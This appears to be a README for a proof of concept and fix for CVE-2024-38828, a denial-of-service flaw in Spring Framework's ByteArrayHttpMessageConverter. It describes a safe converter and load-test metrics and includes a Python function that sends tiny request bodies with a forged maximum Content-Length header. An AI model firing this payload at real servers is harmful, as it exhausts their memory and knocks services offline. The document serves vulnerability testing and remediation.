
CVE-2024-38828에 대한 PoC 및 수정: ByteArrayHttpMessageConverter의 Content-Length 조작을 통한 Spring Framework DoS. 부하 테스트, 메트릭 및 사용자 지정 안전 변환기를 포함합니다.
이 테스트는 Spring Framework에서 CVE-2024-38828 취약점이 있을 때와 없을 때의 동작/반응을 확인합니다.
ByteArrayHttpMessageConverter에서 ByteArrayOutputStream에 요청 헤더 Content-Length를 기준으로 메모리를 할당하는데,
이는 실제 본문이 0바이트인 경우와 일치하지 않을 수 있습니다. 이러한 요청이 급격히 증가하면(DoS) 메모리가 비효율적으로 사용되고,
주기적인 GC 정리가 발생하며 애플리케이션이 느려지기 시작합니다. 이를 구현/수정하는 방법과 메트릭을 보여드리겠습니다.

CVE-2024-38828은 Spring Framework의 DoS(Denial of Service) 유형 취약점으로, 공격자가 byte[] 타입 파라미터를 가진 Spring MVC 컨트롤러를 통해 서버의 메모리 고갈을 유발할 수 있습니다.
HttpMessageConverter 생성.
├── src/
│ └── main/
│ └── java/
│ └── me/
│ └── func/
│ └── demo/
│ ├── config/
│ │ └── WebConfig.java
│ ├── converter/
│ │ └── SafeByteArrayHttpMessageConverter.java
│ ├── controller/
│ │ └── DemoController.java
│ └── DemoApplication.java
├── tests/
│ ├── load_test.py
│ └── results/
│ ├── результаты_теста.png
│ └── метрики.json
└── README.md
def send_request(url):
try:
response = requests.post(
url,
data=b'0', # Минимальный payload
headers={
'Content-Type': 'application/octet-stream',
'Content-Length': str(2**31 - 1) # Максимальный размер
}
)
return response.status_code, response.text
except Exception as e:
return f"Ошибка: {str(e)}", None
pip install -r requirements.txt
python tests/load_test.py